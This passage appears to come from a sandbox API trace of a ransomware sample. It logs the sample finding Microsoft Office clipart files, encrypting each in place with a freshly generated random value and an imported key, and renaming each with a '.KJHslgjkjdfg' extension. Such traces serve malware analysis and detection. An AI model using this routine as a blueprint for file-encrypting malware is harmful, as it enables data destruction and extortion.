dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.720] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x30f2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x30f2, lpOverlapped=0x0) returned 1 [0231.721] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3100, dwBufLen=0x3100 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3100) returned 1 [0231.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.721] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3100, lpOverlapped=0x0) returned 1 [0231.721] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.721] SetEndOfFile (hFile=0x130) returned 1 [0231.724] GetProcessHeap () returned 0x2ef0000 [0231.724] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.724] GetProcessHeap () returned 0x2ef0000 [0231.724] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif.kjhslgjkjdfg")) returned 1 [0231.726] CloseHandle (hObject=0x130) returned 1 [0231.726] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c45, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02897J.JPG", cAlternateFileName="")) returned 1 [0231.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.728] GetProcessHeap () returned 0x2ef0000 [0231.728] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.728] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.728] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0231.731] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.731] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.731] GetProcessHeap () returned 0x2ef0000 [0231.731] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.731] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.731] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.731] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.732] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.732] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.732] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.732] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.732] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.732] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.732] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3c45, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3c45, lpOverlapped=0x0) returned 1 [0231.733] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3c50, dwBufLen=0x3c50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3c50) returned 1 [0231.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.734] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3c50, lpOverlapped=0x0) returned 1 [0231.734] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.734] SetEndOfFile (hFile=0x130) returned 1 [0231.737] GetProcessHeap () returned 0x2ef0000 [0231.737] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.737] GetProcessHeap () returned 0x2ef0000 [0231.737] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.kjhslgjkjdfg")) returned 1 [0231.738] CloseHandle (hObject=0x130) returned 1 [0231.739] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f66600, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0f66600, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x3c76, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03011U.BMP", cAlternateFileName="")) returned 1 [0231.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.740] GetProcessHeap () returned 0x2ef0000 [0231.740] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.740] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.740] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.740] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0231.742] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.742] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.742] GetProcessHeap () returned 0x2ef0000 [0231.742] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.742] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.742] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.743] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.743] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.743] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.743] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.743] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.743] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.743] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.743] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3c76, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3c76, lpOverlapped=0x0) returned 1 [0231.744] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3c80, dwBufLen=0x3c80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3c80) returned 1 [0231.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.744] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3c80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3c80, lpOverlapped=0x0) returned 1 [0231.745] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.745] SetEndOfFile (hFile=0x130) returned 1 [0231.747] GetProcessHeap () returned 0x2ef0000 [0231.747] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.747] GetProcessHeap () returned 0x2ef0000 [0231.747] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.747] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp.kjhslgjkjdfg")) returned 1 [0231.749] CloseHandle (hObject=0x130) returned 1 [0231.749] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55b9c00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa55b9c00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03012U.BMP", cAlternateFileName="")) returned 1 [0231.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.750] GetProcessHeap () returned 0x2ef0000 [0231.750] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.750] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.750] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0231.753] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.753] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.753] GetProcessHeap () returned 0x2ef0000 [0231.753] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.753] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.753] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.753] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.753] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.753] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.753] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.754] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.754] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.754] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.754] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1016, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1016, lpOverlapped=0x0) returned 1 [0231.758] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1020, dwBufLen=0x1020 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1020) returned 1 [0231.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.758] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1020, lpOverlapped=0x0) returned 1 [0231.759] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.759] SetEndOfFile (hFile=0x130) returned 1 [0231.761] GetProcessHeap () returned 0x2ef0000 [0231.761] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.762] GetProcessHeap () returned 0x2ef0000 [0231.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp.kjhslgjkjdfg")) returned 1 [0231.764] CloseHandle (hObject=0x130) returned 1 [0231.764] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44dfa00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc44dfa00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x49d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03014_.GIF", cAlternateFileName="")) returned 1 [0231.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.765] GetProcessHeap () returned 0x2ef0000 [0231.765] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.765] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.765] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0231.768] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.768] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.768] GetProcessHeap () returned 0x2ef0000 [0231.768] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.768] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.768] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.768] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.768] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.768] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.768] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.769] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.769] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.769] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x49d2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x49d2, lpOverlapped=0x0) returned 1 [0231.770] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x49e0, dwBufLen=0x49e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x49e0) returned 1 [0231.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.770] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x49e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, 